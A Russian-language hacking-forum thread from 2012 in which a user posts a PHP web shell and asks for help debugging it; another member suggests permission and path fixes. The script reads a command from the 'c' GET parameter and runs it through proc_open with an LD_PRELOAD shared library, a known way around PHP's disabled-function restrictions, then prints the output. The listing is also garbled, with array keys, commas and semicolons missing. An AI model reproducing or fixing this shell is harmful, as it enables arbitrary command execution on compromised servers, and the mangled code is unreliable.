изменение кода скрипта

Discussion in 'PHP' started by .while, 18 May 2012.

  1. .while

    .while Member

    Joined:
    22 Feb 2010
    Messages:
    40
    Likes Received:
    5
    Reputations:
    0
    PHP:
    <?php

    $path
    ="/var/www"//change to your writable path


    $a=fopen($path."/.comm","w");
    fputs($a,$_GET["c"]);
    fclose($a);

    $descriptorspec = array(
     
    => array("pipe""r"),
     
    => array("file"$path."/output.txt","w"),
     
    => array("file"$path."/errors.txt""a" )
    );

    $cwd '.';
    $env = array('LD_PRELOAD' => $path."/a.so");
    $process proc_open('id > /tmp/a'$descriptorspec$pipes$cwd$env); // example command - should not succeed


    sleep(1);
    $a=fopen($path."/.comm1","r");

    echo 
    "<pre><b>";
    while (!
    feof($a))
    {
    $b=fgets($a);echo $b;}
    fclose($a);
    echo 
    "</pre>";

    ?>
    ругается
    решение данной проблемы заменой fgets и еще чего-то там, не помню, подскажите :)
     
  2. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    Проверь права скрипта на чтение. И попробуй "/comm", "./.comm", "./comm"
     
  3. .while

    .while Member

    Joined:
    22 Feb 2010
    Messages:
    40
    Likes Received:
    5
    Reputations:
    0
    цикл идет с этим текстом при 0755
     
  4. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    +
    Как так?
     
  5. .while

    .while Member

    Joined:
    22 Feb 2010
    Messages:
    40
    Likes Received:
    5
    Reputations:
    0
    это я в тексте так указал
    в коде другие пути

    я помню была такая проблема, решалась полным путем к .comm, и заменой кода fgets и feof на другой, и цикла небыло. работало путем.